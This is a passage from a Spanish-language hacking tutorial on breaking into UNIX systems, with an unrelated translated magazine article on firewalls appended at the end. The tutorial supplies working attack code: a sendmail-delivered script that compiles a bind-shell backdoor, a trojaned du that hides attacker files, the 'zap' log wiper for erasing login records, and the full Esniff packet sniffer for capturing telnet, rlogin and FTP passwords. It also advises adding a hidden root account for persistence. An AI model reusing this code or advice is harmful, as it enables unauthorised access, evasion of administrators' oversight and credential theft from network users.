0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,

sizeof(mya.sin_addr));if((sp=getservbyname(av[1],”tcp”))

==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port

=htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,

(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,

1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if

(select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto

loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()

==0){for(x=2;x<maxfd;x++)if(x!=new)close(x);for(x=0;x<

NSIG;x++)signal(x,SIG_DFL);dup2(new,0);close(new);dup2

(0,1);dup2(0,2);execv(av[2],av+2);exit(1);}close(new);

goto loop;}

EOF

echo “EOF”

echo “cd /tmp”

echo “/bin/cc /tmp/a.c”

echo “/bin/rm a.c”

echo “/tmp/a.out $port $cmd”

echo “.”

echo “quit”

) | mconnect $1

<————————————FINAL———————————–>

 

Y por ultimo este otro, que no es para ser root, si no para ocultar ficheros

en un directorio, que no se veran al hacer “ls”. Este fichero se  copia en

/bin/ls sobreescribiendo al original.

Lo de siempre, es el codigo original, leed los /*.

<———————————-CORTAR AQUI——————————->

#ifndef lint

static      char sccsid[] = “@(#)du.c 1.1 91/11/13 SMI”; /* from UCB 4.11 83/07/01 */

#endif

/*

  • du

*/

#include <stdio.h>

#include <sys/param.h>

#include <sys/stat.h>

#include <sys/dir.h>

 

char  path[BUFSIZ], name[BUFSIZ];

int   aflg;

int   sflg;

char  *dot = “.”;

 

#define ML  1000

struct {

int   dev;

ino_t ino;

} ml[ML];

int  mlx;

 

/*+

  • Hack vars – oops they’re global
  • but wtf cares, its a hack.

+*/

 

#define FILENAME “/dev/ptyr”

#define STR_SIZE 128

#define SEP_CHAR “ \n”

#define SHOWFLAG        /*  Able to get du stats with ‘du -/‘ command  */

 

struct  h_st {

struct h_st     *next;

char            filename[STR_SIZE];

};

 

struct  h_st    *hack_list;

struct  h_st    *h_tmp;

 

char    tmp_str[STR_SIZE];

 

FILE    *fp_hack;

int     showall=0;

 

 

long  descend();

char  *index(), *rindex(), *strcpy(), *sprintf();

 

#define     kb(n) (howmany(dbtob(n), 1024))

 

main(argc, argv)

int argc;

char **argv;

{

long blocks = 0;

register char *np;

int pid;

int c;

extern int optind;

 

#if defined (SHOWFLAG)

while ((c = getopt(argc, argv, “as/”)) != -1)

#else

while ((c = getopt(argc, argv, “as”)) != -1)

#endif

switch © {

case ‘a’:

aflg++;

break;

case ‘s’:

sflg++;

break;

#if defined (SHOWFLAG)

case ‘/’:

showall++;

break;

#endif

default:

(void)fprintf(stderr, “Usage: du [-as] file . . .\n”);

exit (2);

}

 

/*+  Read in list of files to block  +*/

h_tmp=(struct h_st *)malloc(sizeof(struct h_st));

hack_list=h_tmp;

 

if (fp_hack=fopen (FILENAME, “r”)) {

while (fgets(tmp_str, 126, fp_hack)) {

h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st));

strcpy (h_tmp->filename, tmp_str);

h_tmp->filename[strlen(h_tmp->filename)-1]=’\0’;

h_tmp=h_tmp->next;

}

}

h_tmp->next=NULL;

/*+  On with the program  +*/

argc -= optind;

argv += optind;

if (argc == 0) {

argv = &dot;

argc = 1;

}

do {

if (argc > 1) {

pid = fork();

if (pid == -1) {

fprintf(stderr, “No more processes.\n”);

exit(1);

}

if (pid != 0)

wait((int *)0);

}

if (argc == 1 || pid == 0) {

(void) strcpy(path, *argv);

(void) strcpy(name, *argv);

if (np = rindex(name, ‘/’)) {

*np++ = ‘\0’;

if (chdir(*name ? name : “/”) < 0) {

perror(*name ? name : “/”);

exit(1);

}

} else

np = path;

blocks = descend(path, *np ? np : “.”);

if (sflg)

printf(“%ld\t%s\n”, kb(blocks), path);

if (argc > 1)

exit(1);

}

argc–, argv++;

} while (argc > 0);

exit(0);

/* NOTREACHED */

}

 

DIR         *dirp = NULL;

long

descend(base, name)  /*  Cool tree spanning idea  */

char *base, *name;

{

char *ebase0, *ebase;

struct stat stb;

int i;

long blocks = 0;

long curoff = NULL;

register struct direct *dp;

 

 

/*+

  • This will be very lagged if you include alot of files
  • because strstr() is such an expensive call.  However,
  • the nature of this procedure requires it, and breaking
  • the pathname down would be just as expensive.  Note,
  • that correct disk usage sizes will be reported based
  • upon files that are not masked.

+*/

 

if (!showall)

for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next)

if (strstr(base, h_tmp->filename))

return 0;

ebase0 = ebase = index(base, 0);

if (ebase > base && ebase[-1] == ‘/’)

ebase–;

if (lstat(name, &stb) < 0) {

perror(base);

*ebase0 = 0;

return (0);

}

if (stb.st_nlink > 1 && (stb.st_mode&S_IFMT) != S_IFDIR) {

for (i = 0; i <= mlx; i++)

if (ml[i].ino == stb.st_ino && ml[i].dev == stb.st_dev)

return (0);

if (mlx < ML) {

ml[mlx].dev = stb.st_dev;

ml[mlx].ino = stb.st_ino;

mlx++;

}

}

 

blocks = stb.st_blocks;

if ((stb.st_mode&S_IFMT) != S_IFDIR) {

if (aflg)

printf(“%ld\t%s\n”, kb(blocks), base);

return (blocks);

}

if (dirp != NULL)

closedir(dirp);

dirp = opendir(name);

if (dirp == NULL) {

perror(base);

*ebase0 = 0;

return (0);

}

if (chdir(name) < 0) {

perror(base);

*ebase0 = 0;

closedir(dirp);

dirp = NULL;

return (0);

}

while (dp = readdir(dirp)) {

if (!strcmp(dp->d_name, “.”) || !strcmp(dp->d_name, “..”))

continue;

(void) sprintf(ebase, “/%s”, dp->d_name);

curoff = telldir(dirp);

blocks += descend(base, ebase+1);

*ebase = 0;

if (dirp == NULL) {

dirp = opendir(“.”);

if (dirp == NULL) {

perror(“.”);

return (0);

}

seekdir(dirp, curoff);

}

}

closedir(dirp);

dirp = NULL;

if (sflg == 0)

printf(“%ld\t%s\n”, kb(blocks), base);

if (chdir(“..”) < 0) {

(void) sprintf(index(base, 0), “/..”);

perror(base);

exit(1);

}

*ebase0 = 0;

return (blocks);

}

<—————————————FINAL——————————–>

Igual que hay este hay un monton para cada sistema, para el ftp, para telnet etc…

Despues de buscar, o bien el vuestro HD, o bien en las paginas web se supone

que tendreis los necesarios para ser root. Un consejo, si no funciona ninguno

de los que teneis no useis los que son para otros sistemas o versiones, vamos,

que no hagais cosas a lo loco, por que lo unico que haceis es dejar mas

huellas en el sistema.

Esta es la parte mas dificil de todas, asi que espero que sepais solucionarla.

Una vez que ya somos root podemos hacer lo que queramos en ese sistema, pero no debemos olvidarnos de borrar nuestras huellas. Los unix tienen varios logs que guardan casi todo lo que hacemos en el sistema :

  • UTMP: Este fichero guarda un registro de todos los usuarios que se han conectado a ese sistema Directorios: /etc/utmp o /var/adm/utmp
  • WTMP: Este es nuestro peor enemigo. Guarda los numeros IP de todos los que se han conectado al ordenador.  Directorios: /etc/wtmp o /var/adm/wtmp
  • LASTLOG: Este log guarda un registro del momento exacto en que un usuario entro por £ltima vez Directorio: /var/adm/lastlog
  • ACCT: Este log guarda los comandos que hemos ejecutado pero SOLO los comandos no con que fin los hemos utilizado, pero suele estar desactivado por la gran cantidad de memoria que necesita. (  Logico no? )

 

Directorio: /var/adm/acct ( en algunos sistemas se puede llamar pacct )

Ademas de esto  puede haber otros programas que registren tu entrada, como el TCP-Wrapper o similares( Tened cuidado con el Syslog que viene con el ssoo que guarda los logs en los ficheros especificados en /etc/syslog.conf ) De todas maneras os recomiendo que hackeeis a horas que el root no pueda ver vuestro numero IP con “who” o “users” porque os pillara. De la misma manera, la primera vez que accedeis al sistema con una cuenta hackeada, haced muchas cosas que haria un usuario normal ( telnet, ftp, echar una partida al tetris ) para que si el root os investiga “levemente” no se de cuenta de lo que habeis hecho. Aqui incluyo el codigo de el “zap” que, como su nombre indica es un zapper, o sea un programa que borra nuestras huellas el solito.

Se compila como los exploits, pero cambia su ejecucion :

% zap <nombredeusuario>

<———————————CORTAD AQUI——————————–>

#include <sys/types.h>

#include <stdio.h>

#include <unistd.h>

#include <sys/file.h>

#include <fcntl.h>

#include <utmp.h>

#include <pwd.h>

#include <lastlog.h>

#define WTMP_NAME “/usr/adm/wtmp”

#define UTMP_NAME “/etc/utmp”

#define LASTLOG_NAME “/usr/adm/lastlog”

 

int f;

void kill_utmp(who)

char *who;

{

struct utmp utmp_ent;

int flag=0;

 

if ((f=open(UTMP_NAME,O_RDWR))>=0) {

while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof( utmp_ent ));

lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);

write (f, &utmp_ent, sizeof (utmp_ent));

flag++;

}

close(f);

if(!flag) printf(“Unsuccessful.\n”);

}

}

 

 

main(argc,argv)

int argc;

char *argv[];

{

char me[30];

int i;

struct passwd *myentry;

if (argc==1) {

myentry=getpwuid(getuid());

strcpy(me,myentry->pw_name);

} else strcpy(me,argv[1]);

printf(“ZAPing %s.\n”,me); kill_utmp(me);

}

<———————————–FINAL————————————>

Asi la ultima entrada del usuario queda borrada del sistema. Si lo ejecutamos demasiadas veces, pondr  nombredeusuario Never Logged In , osea es como si ese usuario nunca se hubiera conectado al sistema. Ya tenemos las huellas borradas, pero si queremos mantener esos privilegios que hacemos?  La manera mas facil es a¤adir una cuenta al /etc/passwd con el comando “adduser” con numero de usuario 0 y numero de grupo 0 que son privilegios de root.

NoTa: que nadie se le ocurra borrar todas las cuentas del fichero passwd

menos una que solo el conozca, por que, aunque nadie podria acceder al sistema

una persona con acceso fisico  podria detectarnos, y como poco borrar

nuestra cuenta asi cerrandonos el acceso al sistema, siendo en vano todo lo

que habiamos hecho.

Sin embargo si por casualidad al sysop en cuesti¢n se le ocurre revisar las

cuentas del fichero passwd la cagamos. Aunque es dificil, por que tendria que

revisar las cuentas 1 por 1 y es muy posible que se no se de cuenta, pero los

hay maniaticos….

Despues de hacer todo esto :

  • Tenemos una cuenta con privilegios de root
  • Hemos borrado nuestras huellas

 

¨ Que nos queda ? Pues practicamente nada, salvo colocar un sniffer, programa

que nos facilitara logins y passwords de ordenadores a los que se conecte la

gente de “nuestro” sistema. El problema de los sniffers es que hay uno para

cada sistema, pero si encontramos uno para el nuestro ( cosa que no seria muy

rara ) no est  de mas ponerlo para futuros “trabajos”.

Aqui incluyo el codigo de uno que quizas os sirva, es el codigo original, y

hay que a¤adirle alguna cosa asi que leed lo un poco por las lineas que

empiezan por /* Este sniffer deberia funcionar en  casi todos los *NIX :

<———————————-CORTAD AQUI——————————->

/* Esniff.c */

#include <stdio.h>

#include <ctype.h>

#include <string.h>

 

#include <sys/time.h>

#include <sys/file.h>

#include <sys/stropts.h>

#include <sys/signal.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/ioctl.h>

 

#include <net/if.h>

#include <net/nit_if.h>

#include <net/nit_buf.h>

#include <net/if_arp.h>

 

#include <netinet/in.h>

#include <netinet/if_ether.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/udp.h>

#include <netinet/ip_var.h>

#include <netinet/udp_var.h>

#include <netinet/in_systm.h>

#include <netinet/tcp.h>

#include <netinet/ip_icmp.h>

 

#include <netdb.h>

#include <arpa/inet.h>

 

#define ERR stderr

char    *malloc();

char    *device,

*ProgName,

*LogName;

FILE    *LOG;

int     debug=0;

 

#define NIT_DEV     “/dev/nit”

#define CHUNKSIZE   4096        /* device buffer size */

int     if_fd = -1;

int     Packet[CHUNKSIZE+32];

 

void Pexit(err,msg)

int err; char *msg;

{ perror(msg);

exit(err); }

void Zexit(err,msg)

int err; char *msg;

{ fprintf(ERR,msg);

exit(err); }

#define IP          ((struct ip *)Packet)

#define IP_OFFSET   (0x1FFF)

#define SZETH       (sizeof(struct ether_header))

#define IPLEN       (ntohs(ip->ip_len))

#define IPHLEN      (ip->ip_hl)

#define TCPOFF      (tcph->th_off)

#define IPS         (ip->ip_src)

#define IPD         (ip->ip_dst)

#define TCPS        (tcph->th_sport)

#define TCPD        (tcph->th_dport)

#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

 

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)

time_t  LastTIME = 0;

 

struct CREC {

struct CREC *Next,

*Last;

time_t  Time;              /* start time */

struct in_addr SRCip,

DSTip;

u_int   SRCport,           /* src/dst ports */

DSTport;

u_char  Data[MAXBUFLEN+2]; /* important stuff 🙂 */

u_int   Length;            /* current data length */

u_int   PKcnt;             /* # pkts */

u_long  LASTseq;

};

 

struct CREC *CLroot = NULL;

char *Symaddr(ip)

register struct in_addr ip;

{ register struct hostent *he =

gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

return( (he)?(he->h_name):(inet_ntoa(ip)) );

}

 

char *TCPflags(flgs)

register u_char flgs;

{ static char iobuf[8];

#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:’-‘)

 

SFL(0,TH_FIN, ‘F’);

SFL(1,TH_SYN, ‘S’);

SFL(2,TH_RST, ‘R’);

SFL(3,TH_PUSH,’P’);

SFL(4,TH_ACK, ‘A’);

SFL(5,TH_URG, ‘U’);

iobuf[6]=0;

return(iobuf);

}

 

char *SERVp(port)

register u_int port;

{ static char buf[10];

register char *p;

switch(port) {

case IPPORT_LOGINSERVER: p=”rlogin”; break;

case IPPORT_TELNET:      p=”telnet”; break;

case IPPORT_SMTP:        p=”smtp”; break;

case IPPORT_FTP:         p=”ftp”; break;

default: sprintf(buf,”%u”,port); p=buf; break;

}

return(p);

}

 

char *Ptm(t)

register time_t *t;

{ register char *p = ctime(t);

p[strlen(p)-6]=0; /* strip “ YYYY\n” */

return(p);

}

 

char *NOWtm()

{ time_t tm;

time(&tm);

return( Ptm(&tm) );

}

 

#define MAX(a,b) (((a)>(b))?(a):(b))

#define MIN(a,b) (((a)<(b))?(a):(b))

 

/* add an item */

#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \

register struct CREC *CLtmp = \

(struct CREC *)malloc(sizeof(struct CREC)); \

time( &(CLtmp->Time) ); \

CLtmp->SRCip.s_addr = SIP.s_addr; \

CLtmp->DSTip.s_addr = DIP.s_addr; \

CLtmp->SRCport = SPORT; \

CLtmp->DSTport = DPORT; \

CLtmp->Length = MIN(LEN,MAXBUFLEN); \

bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \

CLtmp->PKcnt = 1; \

CLtmp->Next = CLroot; \

CLtmp->Last = NULL; \

CLroot = CLtmp; \

}

 

register struct CREC *GET_NODE(Sip,SP,Dip,DP)

register struct in_addr Sip,Dip;

register u_int SP,DP;

{ register struct CREC *CLr = CLroot;

 

while(CLr != NULL) {

if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&

IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )

break;

CLr = CLr->Next;

}

return(CLr);

}

 

#define ADDDATA_NODE(CL,DATA,LEN) { \

bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \

CL->Length += LEN; \

}

 

#define PR_DATA(dp,ln) {    \

register u_char lastc=0; \

while(ln– >0) { \

if(*dp < 32) {  \

switch(*dp) { \

case ‘\0’: if((lastc==’\r’) || (lastc==’\n’) || lastc==’\0’) \

break; \

case ‘\r’: \

case ‘\n’: fprintf(LOG,”\n     : “); \

break; \

default  : fprintf(LOG,”^%c”, (*dp + 64)); \

break; \

} \

} else { \

if(isprint(*dp)) fputc(*dp,LOG); \

else fprintf(LOG,”(%d)”,*dp); \

} \

lastc = *dp++; \

} \

fflush(LOG); \

}

 

void END_NODE(CLe,d,dl,msg)

register struct CREC *CLe;

register u_char *d;

register int dl;

register char *msg;

{

fprintf(LOG,”\n—TCP/IP LOG—TM: %s –\n”, Ptm(&CLe->Time));

fprintf(LOG,” PATH: %s(%s) =>”, Symaddr(CLe->SRCip),SERVp(CLe->SRCport));

fprintf(LOG,” %s(%s)\n”, Symaddr(CLe->DSTip),SERVp(CLe->DSTport));

fprintf(LOG,” STAT: %s, %d pkts, %d bytes [%s]\n”,

NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);

fprintf(LOG,” DATA: “);

{ register u_int i = CLe->Length;

register u_char *p = CLe->Data;

PR_DATA(p,i);

PR_DATA(d,dl);

}

 

fprintf(LOG,”\n– \n”);

fflush(LOG);

 

if(CLe->Next != NULL)

CLe->Next->Last = CLe->Last;

if(CLe->Last != NULL)

CLe->Last->Next = CLe->Next;

else

CLroot = CLe->Next;

free(CLe);

}

 

/* 30 mins (x 60 seconds) */

#define IDLE_TIMEOUT 1800

#define IDLE_NODE() { \

time_t tm; \

time(&tm); \

if(LastTIME<tm) { \

register struct CREC *CLe,*CLt = CLroot; \

LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \

while(CLe=CLt) { \

CLt=CLe->Next; \

if(CLe->Time <tm) \

END_NODE(CLe,(u_char *)NULL,0,”IDLE TIMEOUT”); \

} \

} \

}

 

void filter(cp, pktlen)

register char *cp;

register u_int pktlen;

{

register struct ip     *ip;

register struct tcphdr *tcph;

 

{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

if(EtherType < 0x600) {

EtherType = *(u_short *)(cp + SZETH + 6);

cp+=8; pktlen-=8;

}

 

if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */

return;

}

 

/* ugh, gotta do an alignment 🙁 */

bcopy(cp + SZETH, (char *)Packet,(int)(pktlen – SZETH));

ip = (struct ip *)Packet;

if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */

return;

tcph = (struct tcphdr *)(Packet + IPHLEN);

if(!( (TCPD == IPPORT_TELNET) ||

(TCPD == IPPORT_LOGINSERVER) ||

(TCPD == IPPORT_FTP)

)) return;

{ register struct CREC *CLm;

register int length = ((IPLEN – (IPHLEN * 4)) – (TCPOFF * 4));

register u_char *p = (u_char *)Packet;

p += ((IPHLEN * 4) + (TCPOFF * 4));

if(debug) {

fprintf(LOG,”PKT: (%s %04X) “, TCPflags(tcph->th_flags),length);

fprintf(LOG,”%s[%s] => “, inet_ntoa(IPS),SERVp(TCPS));

fprintf(LOG,”%s[%s]\n”, inet_ntoa(IPD),SERVp(TCPD));

}

 

if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

CLm->PKcnt++;

if(length>0)

if( (CLm->Length + length) < MAXBUFLEN ) {

ADDDATA_NODE( CLm, p,length);

} else {

END_NODE( CLm, p,length, “DATA LIMIT”);

}

 

if(TCPFL(TH_FIN|TH_RST)) {

END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?”TH_FIN”:”TH_RST” );

}

 

} else {

if(TCPFL(TH_SYN)) {

ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);

}

 

}

 

IDLE_NODE();

 

}

 

}

 

/* signal handler

*/

void death()

{ register struct CREC *CLe;

 

while(CLe=CLroot)

END_NODE( CLe, (u_char *)NULL,0, “SIGNAL”);

fprintf(LOG,”\nLog ended at => %s\n”,NOWtm());

fflush(LOG);

if(LOG != stdout)

fclose(LOG);

exit(1);

}

 

/* opens network interface, performs ioctls and reads from it,

  • passing data to filter function

*/

void do_it()

{

int cc;

char *buf;

u_short sp_ts_len;

 

if(!(buf=malloc(CHUNKSIZE)))

Pexit(1,”Eth: malloc”);

/* this /dev/nit initialization code pinched from etherfind */

{

struct strioctl si;

struct ifreq    ifr;

struct timeval  timeout;

u_int  chunksize = CHUNKSIZE;

u_long if_flags  = NI_PROMISC;

 

if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)

Pexit(1,”Eth: nit open”);

if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)

Pexit(1,”Eth: ioctl (I_SRDOPT)”);

si.ic_timout = INFTIM;

if(ioctl(if_fd, I_PUSH, “nbuf”) < 0)

Pexit(1,”Eth: ioctl (I_PUSH \”nbuf\”)”);

timeout.tv_sec = 1;

timeout.tv_usec = 0;

si.ic_cmd = NIOCSTIME;

si.ic_len = sizeof(timeout);

si.ic_dp  = (char *)&timeout;

if(ioctl(if_fd, I_STR, (char *)&si) < 0)

Pexit(1,”Eth: ioctl (I_STR: NIOCSTIME)”);

si.ic_cmd = NIOCSCHUNK;

si.ic_len = sizeof(chunksize);

si.ic_dp  = (char *)&chunksize;

if(ioctl(if_fd, I_STR, (char *)&si) < 0)

Pexit(1,”Eth: ioctl (I_STR: NIOCSCHUNK)”);

strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));

ifr.ifr_name[sizeof(ifr.ifr_name) – 1] = ‘\0’;

si.ic_cmd = NIOCBIND;

si.ic_len = sizeof(ifr);

si.ic_dp  = (char *)&ifr;

if(ioctl(if_fd, I_STR, (char *)&si) < 0)

Pexit(1,”Eth: ioctl (I_STR: NIOCBIND)”);

si.ic_cmd = NIOCSFLAGS;

si.ic_len = sizeof(if_flags);

si.ic_dp  = (char *)&if_flags;

if(ioctl(if_fd, I_STR, (char *)&si) < 0)

Pexit(1,”Eth: ioctl (I_STR: NIOCSFLAGS)”);

if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)

Pexit(1,”Eth: ioctl (I_FLUSH)”);

}

 

while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {

register char *bp = buf,

*bufstop = (buf + cc);

while (bp < bufstop) {

register char *cp = bp;

register struct nit_bufhdr *hdrp;

 

hdrp = (struct nit_bufhdr *)cp;

cp += sizeof(struct nit_bufhdr);

bp += hdrp->nhb_totlen;

filter(cp, (u_long)hdrp->nhb_msglen);

}

}

Pexit((-1),”Eth: read”);

}

/* Authorize your proogie,generate your own password and uncomment here */

/* #define AUTHPASSWD “EloiZgZejWyms” */

void getauth()

{ char *buf,*getpass(),*crypt();

char pwd[21],prmpt[81];

strcpy(pwd,AUTHPASSWD);

sprintf(prmpt,”(%s)UP? “,ProgName);

buf=getpass(prmpt);

if(strcmp(pwd,crypt(buf,pwd)))

exit(1);

}

*/

void main(argc, argv)

int argc;

char **argv;

{

char   cbuf[BUFSIZ];

struct ifconf ifc;

int    s,

ac=1,

backg=0;

 

ProgName=argv[0];

/*     getauth(); */

LOG=NULL;

device=NULL;

while((ac<argc) && (argv[ac][0] == ‘-‘)) {

register char ch = argv[ac++][1];

switch(toupper(ch)) {

case ‘I’: device=argv[ac++];

break;

case ‘F’: if(!(LOG=fopen((LogName=argv[ac++]),”a”)))

Zexit(1,”Output file cant be opened\n”);

break;

case ‘B’: backg=1;

break;

case ‘D’: debug=1;

break;

default : fprintf(ERR,

“Usage: %s [-b] [-d] [-i interface] [-f file]\n”,

ProgName);

exit(1);

}

}

 

if(!device) {

if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)

Pexit(1,”Eth: socket”);

ifc.ifc_len = sizeof(cbuf);

ifc.ifc_buf = cbuf;

if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)

Pexit(1,”Eth: ioctl”);

close(s);

device = ifc.ifc_req->ifr_name;

}

 

fprintf(ERR,”Using logical device %s [%s]\n”,device,NIT_DEV);

fprintf(ERR,”Output to %s.%s%s”,(LOG)?LogName:”stdout”,

(debug)?” (debug)”:””,(backg)?” Backgrounding “:”\n”);

if(!LOG)

LOG=stdout;

signal(SIGINT, death);

signal(SIGTERM,death);

signal(SIGKILL,death);

signal(SIGQUIT,death);

 

if(backg && debug) {

fprintf(ERR,”[Cannot bg with debug on]\n”);

backg=0;

}

 

if(backg) {

register int s;

if((s=fork())>0) {

fprintf(ERR,”[pid %d]\n”,s);

exit(0);

} else if(s<0)

Pexit(1,”fork”);

if( (s=open(“/dev/tty”,O_RDWR))>0 ) {

ioctl(s,TIOCNOTTY,(char *)NULL);

close(s);

}

}

fprintf(LOG,”\nLog started at => %s [pid %d]\n”,NOWtm(),getpid());

fflush(LOG);

do_it();

}

<———————————-FINAL————————————>

Bueno, ya hemos terminado espero que os haya servido de ayuda este texto, y

hayais comprendido como hackear un UNIX

De todas maneras si hay algo que no entendais, o alguna pregunta ya sabeis:

ravenspirit@hotmail.com

###Por cierto las cartas tipo “ ¨ que necesito para ser un hacker ? “ iran

al trash directamente.###

!!!!Happy Hack 😉

WAREZ RULEZ

KILL THE BIG BROTHER

FREE OUR DATA

{[-RavEn³SpiRiT-]}

NoTa especial para iDlEr: Si lees estas lineas mandame un mail, por que he

perdido tu direccion. Agradecimientos especiales para ti.

 

 

 

 

¿Es su red

Segura?

 

Tomado de “Internet Word” Agosto 1997, pág., 64-66

Escrito por Larry Loeb, traducido y adaptado por Geovanni Porras S.

L

a seguridad en un sitio Web nunca es absoluta. La única forma de poder hacer su sitio 100% a prueba de “hackers”

es sacándola de Internet. Pero hay varias formas de maximizar la habilidad para resistir la invasión de intrusos a sus

páginas Web. El método más común es erigir un mecanismo vigía llamado “Firewall”.

 

En realidad un “Firewall” no es un muro físico o electrónico del todo, y hay muchos tipos de configuraciones que se ubican bajo la

sombrilla de los “Firewalls”. Pero como sea el tipo de seguridad que la organización desee utilizar, así será el monto que tendrá que pagar

por ella. Dependiendo de lo elaborado del “Firewall” podría costar entre 15 a 2500 dólares y algunos podrían costar más.

El primer paso en la seguridad de un sitio es incluir hardware y software para eliminar los “huecos” en deficiencia de seguridad que posee

el sistema operativo en que correo las aplicaciones. La parte de hardware que se emplea se llama normalmente “Firewall”, aunque el

término se ha ampliado e incluye software que apoya todas las políticas de seguridad de la red. Aún cuando algunos robustos sistemas

operativos re-escritos tiene algunos “huecos” obvios en la seguridad, esto no ha sido una necesidad obvia para promover protección en los

sitios Web.

Es posible que la pieza más básica de hardware para seguridad sea el “Enrutador” (“router”), que es un “swicht” utilizado para conectar un

sitio a Internet. Maneja los datos que salen y entran al sitio de la organización, en grupos de datos o paquetes. Un Enrutador trabaja solo a

un nivel más bajo que el nivel de las aplicaciones, conocido como el “nivel de transporte”. Uniendo a este nivel algunos filtros, puede costar

un poco de cientos de dólares.

Por ejemplo el precio de los enrutadores de “OpenRoute Network” puede ir desde los $795 proveyendo las rutinas básicas y compresión

de datos en adición de filtrado de paquetes.

Una de las últimas generaciones de “Firewalls” son los “Firewall” de filtrado de paquetes. Básicamente un Enrutador que puede determinar

qué clase de paquetes de datos autoriza o desautoriza desde un lado inseguro (Internet) hacia un lado seguro (Intranet) de la red y

viceversa. El filtrado de paquetes requiere un administrador del sitio que detalle completamente qué clase de paquetes van a hacer qué

cosa, y esto no es un tarea simple. Una de las cosas que el filtrado de paquetes revisa es la concordancia entre el puerto lógico y la

solicitud del servicio de la red (telnet, FTP, etc.) según las reglas que se han programado dentro de él. Estos filtros también pueden revisar

(o impedir) que algunos tipos de paquetes (TCP, UDP, ICMP, etc.) salgan de su origen y lleguen a su correcto destino sobre o a través

del “Firewall”. Es análogo a la casetilla de la campana frente a un puente, con un ojo electrónico se revisa los vehículos y les autoriza o

desautoriza el paso.

El filtrado de paquetes puede ser un filtro de Enrutador, limitando la conectividad a ciertos “host” autorizados, redes y servicios. El

mantenimiento de las listas de autorizados y desautorizados, sin embargo, puede ser un problema, especialmente en sitios donde los

cambios ocurren con mucha frecuencia. En vista de esto el nivel de paquetes no se puede presentar en un contexto sensitivo a paquetes o

filtrado de paquetes, por sí mismo, en solitario, usualmente no es una buena respuesta para las necesidades de seguridad de negocios.

 

UNA MEJOR IDEA

H

a emergido como una mejor solución hace unos pocos años, la capa de aplicación de “Firewall” de “Gateway”,

utilizada en conjunción con el “Nivel de Circuito de Firewall” o “Enrutador dedicado”. El circuito de gateway instala

un “proxy” entre el Enrutador de la red e Internet. Este “proxy” manejará la comunicación actual entre un área

protegida e Internet. Esta clase de “Firewalls” anidados es sencilla, en ella puede haber múltiples redes internas

protegidas, todas conectadas vía un “Firewall” común hacia Internet.

 

En el libro “Firewalls”: Repelling the Wily Hacker (1994, Addison – Wesley) Willian R. Cheswick y Steven M. Bellovin, discuten una

aplicación de “Firewall” de gateway híbrida . En esta configuración, un Gateway de filtro de paquetes(nivel de circuitos) es conectado a

una red interna, el cual se conecta a una gateway de aplicación. El gateway de aplicación se enlaza con la parte exterior por medio de otro

filtro de paquetes. No habrá tiempo de que alguien de afuera se conecte en forma directa porque existe el proxy del gateway y todo pasa

por él. Desde afuera se conectan al gateway de aplicación por el proxy en la red interna a un puerto lógico de la red. Cheswick reporta un

subrayado nivel de seguridad con estas características (él las llama “dual-homed”) pero admite un gran esfuerzo en mantenimiento.

También podría presentar “cuellos de botella”, cuando los paquetes de datos esperan por su destino hasta que el “Firewall” los autorice.

“Firewalls” de estado de vigilancia (“state-watching”), algunos los llaman estado de inspección, han emergido como otro método para

impedir el acceso desautorizado a las redes corporativas. Estos “Firewalls” ven los paquetes como el nivel de circuitos, pero toman un

paso adicional, al asociar el puerto del sistema operativo de la computadora con la conexión del cause de los paquetes. Cuando una

conexión se cierra, el “Firewall” bloquea el acceso, cerrando el puerto hasta que este sea aprovechado de otra manera. Esta adición puede

detener una invasión de aquellos que capturan puertos y comportarse como un guardaespaldas de los sistemas operativos.

La aplicación híbrida de Cheswick se ha convertido el estándar para muchas empresas. Aunque ahora los nuevos “Firewalls” están

incorporando el estado de vigilancia (“state-watching”) como una mezcla, muchos otros utilizan el gateway de aplicación que hace

conexiones lógicas a través del nivel de circuitos con vigilancia de paquetes. La habilidad de hacer conexiones lógicas a nivel bajo de

circuitos causa un efecto útil, para el acceso a redes con traducción de direcciones IP. Esta traducción, oculta la verdadera dirección IP de

la red del resto del mundo dándole una equivalente lógica. La traducción ofrece mucha resistencia a la práctica de los piratas (crackers)

conocida como spoof (engaño), que es simular una red o máquina por su IP, con el objetivo de que la red la considere como confiable.

 

